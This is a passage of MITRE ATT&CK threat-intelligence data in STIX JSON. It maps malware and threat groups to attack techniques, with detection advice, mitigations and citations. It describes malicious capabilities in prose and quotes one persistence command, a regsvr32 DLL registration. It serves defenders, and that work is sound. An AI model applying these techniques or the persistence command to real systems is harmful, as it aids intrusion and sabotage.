2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"},{"source_name":"Proofpoint NETWIRE December 2020","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.587Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can capture the victim's screen.(Citation: McAfee Netwire Mar 2015)(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ca765e99-996e-4d0f-ada0-5c44d3930404","created":"2022-06-28T14:32:00.924Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [IceApple](https://attack.mitre.org/software/S1022) Server Variable Dumper module iterates over all server variables present for the current request and returns them to the adversary.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-28T14:32:00.924Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca769818-de08-48ed-8618-87fa750e979d","created":"2024-03-29T04:34:22.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T04:38:05.950Z","description":"Monitor newly constructed processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the loading of unexpected .NET resources.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ca7d9090-d5ff-4a10-b403-015daa559e84","created":"2022-03-07T20:21:57.108Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."},{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) has the ability to download files to target systems.(Citation: NCSC Cyclops Blink February 2022)(Citation: Trend Micro Cyclops Blink March 2022)","modified":"2022-04-16T23:05:00.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca80e49f-7129-43bc-ad58-5521f03b737c","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca856513-b1ac-46d4-8b24-eafed59bd5f0","type":"relationship","created":"2022-03-25T16:33:24.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T16:33:24.418Z","description":"(Citation: NTT Security Flagpro new December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca8af6f0-da6b-40c8-81cb-764e1df0fd0a","created":"2019-04-17T18:43:36.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CheckPoint SpeakUp Feb 2019","description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:03:20.807Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) encodes its second-stage payload with Base64. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca8e4853-3214-4073-86ea-ca6cd62c1eff","created":"2024-05-22T21:55:03.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:56:07.685Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) changes the password for local and domain users via net.exe to a random 32 character string to prevent these accounts from logging on. Additionally, [DEADWOOD](https://attack.mitre.org/software/S1134) will terminate the winlogon.exe process to prevent attempts to log on to the infected system.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca8ed9e2-f7a6-4d54-b450-94c187b1f9b6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2020-03-20T23:58:31.380Z","description":"[H1N1](https://attack.mitre.org/software/S0132) encrypts C2 traffic using an RC4 key.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ca928ba4-bb4b-4cd9-a105-8c0d4d81891f","type":"relationship","created":"2020-03-09T13:13:24.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction","description":"Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.","source_name":"Microsoft ASR Nov 2017"},{"url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","source_name":"Enigma Reviving DDE Jan 2018"}],"modified":"2022-03-11T20:14:42.530Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.(Citation: Microsoft ASR Nov 2017)(Citation: Enigma Reviving DDE Jan 2018)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ca948787-ea4b-4022-be96-8baf0ccff834","created":"2023-01-05T20:35:20.182Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:35:20.182Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used [Ping](https://attack.mitre.org/software/S0097) for discovery on targeted networks.(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--caa06b6c-b59e-4986-87f5-fdab9d9d3534","type":"relationship","created":"2019-04-17T18:43:36.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2019-04-22T20:29:31.318Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) uses the arp -a command. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--caa542d3-c8b0-4d10-998d-0998be406da8","type":"relationship","created":"2020-07-15T20:23:36.519Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trusteer Carberp October 2010","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."}],"modified":"2020-08-03T15:17:31.951Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has used the NtQueryDirectoryFile and ZwQueryDirectoryFile functions to hide files and directories.(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--caa820b8-5a7b-4704-88d9-380efff5a7a3","created":"2022-09-26T22:08:33.039Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T22:08:33.039Z","description":"For [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the threat actors used the [Rising Sun](https://attack.mitre.org/software/S0448) modular backdoor.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--caa8b50b-67ab-4de4-b61a-ab89ea8a2e9b","type":"relationship","created":"2020-05-12T21:56:33.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.401Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has installed a Windows service to maintain persistence on victim machines.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cab50f6d-3621-4429-8c9a-803df15f4e75","type":"relationship","created":"2020-05-08T18:41:16.419Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}],"modified":"2020-05-08T18:56:23.074Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has ensured persistence at system boot by setting the value regsvr32 %path%\\ctfmonrn.dll /s.(Citation: Kaspersky Cloud Atlas December 2014)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cab79b3a-4ea7-455a-9373-e8ac0d8e612f","type":"relationship","created":"2021-06-03T22:26:00.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-06-03T22:26:00.781Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can support commands to execute Python-based payloads.(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cab80c28-2715-45d4-8d30-993b5050ead6","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor newly executed processes that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cab93d90-f8de-4bb3-8868-11b8d9a2ddf9","type":"relationship","created":"2020-05-14T21:17:54.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-14T21:17:54.070Z","description":"[Okrum](https://attack.mitre.org/software/S0439) establishes persistence by creating a .lnk shortcut to itself in the Startup folder.(Citation: ESET Okrum July 2019) ","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cabbe975-9936-4a9a-8fae-a747b3dc7a9d","type":"relationship","created":"2020-05-18T17:31:39.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2022-01-24T17:01:08.783Z","description":"[Maze](https://attack.mitre.org/software/S0449) has used the “Wow64RevertWow64FsRedirection” function following attempts to delete the shadow volumes, in order to leave the system in the same state as it was prior to redirection.(Citation: McAfee Maze March 2020)\t","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cabd44af-9804-4f83-98e0-927719057a62","type":"relationship","created":"2020-07-15T19:02:25.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}],"modified":"2020-08-14T14:25:53.894Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has established persistence by creating a Registry run key.(Citation: IBM IcedID November 2017)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cabdb159-174a-4fbd-b026-1d67f8f59dcf","type":"relationship","created":"2020-12-02T15:04:45.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro MacOS Backdoor November 2020","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."}],"modified":"2021-10-11T21:23:49.080Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has the ability to upload files from a compromised host.(Citation: Trend Micro MacOS Backdoor November 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cabf9dce-fc94-45dc-a4b5-467465fa378d","created":"2022-04-20T05:38:20.750Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Perform regular firmware updates to mitigate risks of exploitation and/or abuse.","modified":"2022-04-20T17:05:48.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cac01499-50ef-4cbf-a223-6879c139173a","type":"relationship","created":"2021-02-23T20:50:33.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.407Z","description":"[Conficker](https://attack.mitre.org/software/S0608) scans for other machines to infect.(Citation: SANS Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cac67507-5bb1-4552-a240-db06cf926663","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.578Z","description":"Monitor and analyze SSL/TLS traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cacbb779-a901-470f-9bb2-cc2d98088713","created":"2022-05-26T14:38:16.113Z","x_mitre_version":"0.1","external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has modified Registry settings for security tools.(Citation: DFIR Report APT35 ProxyShell March 2022)","modified":"2022-05-26T14:38:16.113Z","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cace8bcc-ab98-49b7-83c1-7b0b99022f02","created":"2022-06-03T12:55:00.108Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason PowerLess February 2022","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Cybereason PowerLess February 2022)","modified":"2022-06-03T12:55:00.108Z","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cad0af31-8ca1-431d-a0c1-7d2f468fc5fa","created":"2024-09-25T14:18:19.665Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS Management Account Best Practices","description":"AWS. (n.d.). Best practices for the management account. Retrieved October 16, 